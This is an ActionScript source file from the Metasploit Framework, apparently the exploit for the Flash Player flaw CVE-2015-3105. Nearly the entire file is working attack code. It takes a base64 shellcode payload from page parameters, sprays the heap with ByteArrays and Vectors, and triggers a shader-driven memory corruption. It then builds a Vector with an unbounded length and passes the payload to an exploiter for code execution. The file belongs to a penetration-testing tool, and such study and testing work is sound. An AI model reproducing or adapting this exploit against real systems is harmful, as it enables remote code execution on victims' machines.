metasploit-framework/external/source/exploits/CVE-2015-3105/Exploit.as

238 lines
8.4 KiB
ActionScript
Executable File

package
{
import flash.display.Shader
import flash.display.Sprite
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
import flash.utils.ByteArray
import flash.geom.Point
import flash.utils.Endian
public class Exploit extends Sprite
{
private var uv:Vector.<uint>
private var canvas:Sprite
private var filler_shader:Shader
private var transformation_shader:Shader
private var top_middle:Point
private var bottom_left:Point
private var bottom_right:Point
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
[Embed ( source="test_bin.pbj", mimeType="application/octet-stream" ) ]
private static var FillerPbj:Class
[Embed ( source="pbsrc_bin.pbj", mimeType="application/octet-stream" ) ]
private static var TransformationPbj:Class
private var uint_vectors_length:uint = 70000
private var ba_vector_length:uint = 5000
private var ba_length:int = 0x2000
private var uint_vectors:Vector.<Object>
private var ba_vector:Vector.<Object>
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
canvas = new Sprite()
addChild(canvas)
var size:uint = 400
top_middle = new Point(size / 2, 10)
bottom_left = new Point(0, size - 10)
bottom_right = new Point(size, size - 10)
do_exploit()
}
private function do_exploit():void
{
setup_shaders()
apply_shader_to_exploit()
}
private function setup_shaders():void
{
transformation_shader = new Shader(new TransformationPbj())
ba_vector = new Vector.<Object>(ba_vector_length)
uint_vectors = new Vector.<Object>(uint_vectors_length)
// Initialize uint vectors
for(var i:uint = 0; i < uint_vectors_length; i++) // 70000
{
uint_vectors[i] = new Vector.<uint>()
}
// Allocate Byte Arrays
for(i = 0; i < ba_vector_length; i++) // 5000
{
ba_vector[i] = new ByteArray()
ba_vector[i].endian = "littleEndian"
ba_vector[i].length = ba_length // 0x2000
fill_byte_array(ba_vector[i], 0x35555555)
ba_vector[i].writeInt(0xbabefac0)
ba_vector[i].writeInt(0xbabefac1)
ba_vector[i].writeInt(i)
ba_vector[i].writeInt(0xbabefac3)
}
// Make holes
for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000
{
fill_byte_array(ba_vector[i], 0x37777777)
ba_vector[i].clear()
ba_vector[i] = null
}
// Setup shader
filler_shader = new Shader(new FillerPbj()) //test_bin.pbj
filler_shader.data.point1.value = [top_middle.x, top_middle.y]
filler_shader.data.point2.value = [bottom_left.x, bottom_left.y]
filler_shader.data.point3.value = [bottom_right.x, bottom_right.y]
}
final private function fill_byte_array(ba:ByteArray, value:int):void
{
ba.position = 0
var i:uint = 0
while (i < ba.length / 4)
{
ba.writeInt(value)
i = i + 1
}
ba.position = 0
return
}
private function apply_shader_to_exploit():void
{
try {
filler_shader.data.point3 = transformation_shader.data.positionTransformation27
} catch(err:Error) {
Logger.log("Error!")
}
filler_shader.data.color1.value = [1, 1, 1, 1]
// Trigger corruption with the hope of modify one of the sprayed byte arrays
canvas.graphics.clear()
canvas.graphics.beginShaderFill(filler_shader)
canvas.graphics.moveTo(top_middle.x, top_middle.y)
canvas.graphics.lineTo(bottom_left.x, bottom_left.y)
canvas.graphics.lineTo(bottom_right.x, bottom_right.y)
canvas.graphics.endFill()
// Search the BA whose data has been corrupted
var test:uint
var mod_idx:uint = 0xffffffff
for(var i:uint = 0; i< ba_vector_length; i++) { // 5000
if (ba_vector[i] != null) {
ba_vector[i].position = 32
test = ba_vector[i].readUnsignedInt()
if (test != 0x35555555) {
mod_idx = i
break
}
}
}
if (mod_idx == 0xffffffff) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting")
return
}
// Clear the modified BA, we need a hole there =)
fill_byte_array(ba_vector[mod_idx], 0x39999999)
ba_vector[mod_idx].clear()
ba_vector[mod_idx] = null
// Fill the BA space with well positioned Vector.<uint>'s, hopefully...
for(i = 0; i < uint_vectors_length; i++) // 70000
{
uint_vectors[i].length = 0x13e
uint_vectors[i][0] = 0xcccccccc
uint_vectors[i][1] = i
uint_vectors[i][2] = 0xaaaaaaaa
}
// Corrupt again, hopefully one of our vector lengths =)
canvas.graphics.beginShaderFill(filler_shader)
var corrupted:uint = 0xffffffff
for(i = 0; i < uint_vectors_length; i++) // 70000
{
if (uint_vectors[i].length != 0x13e) {
corrupted = i
break
}
}
if (corrupted == 0xffffffff) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Corrupted vector not found... aborting")
return
}
var offset:uint = 0xffffffff
for(i = 0; i < 2048; i++)
{
if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc)
{
uint_vectors[corrupted][i] = 0xffffffff
offset = i
break
}
}
if (offset == 0xffffffff) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting")
return
}
for(i = 0; i < uint_vectors_length; i++) // 70000
{
if (uint_vectors[i].length == 0xffffffff) {
uv = uint_vectors[i]
break
}
}
if (uv == null) {
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting")
return
}
var my_offset:uint = 0x3ffffffe - offset - 2
uv[my_offset] = 0x13e
for(i = 0; i < ba_vector_length; i++) { // 5000
if (ba_vector[i] != null) {
ba_vector[i].clear()
ba_vector[i] = null
}
}
for(i = 0; i < uint_vectors_length; i++) // 70000
{
if (uint_vectors[i].length != 0xffffffff) {
delete(uint_vectors[i])
uint_vectors[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
}
}
}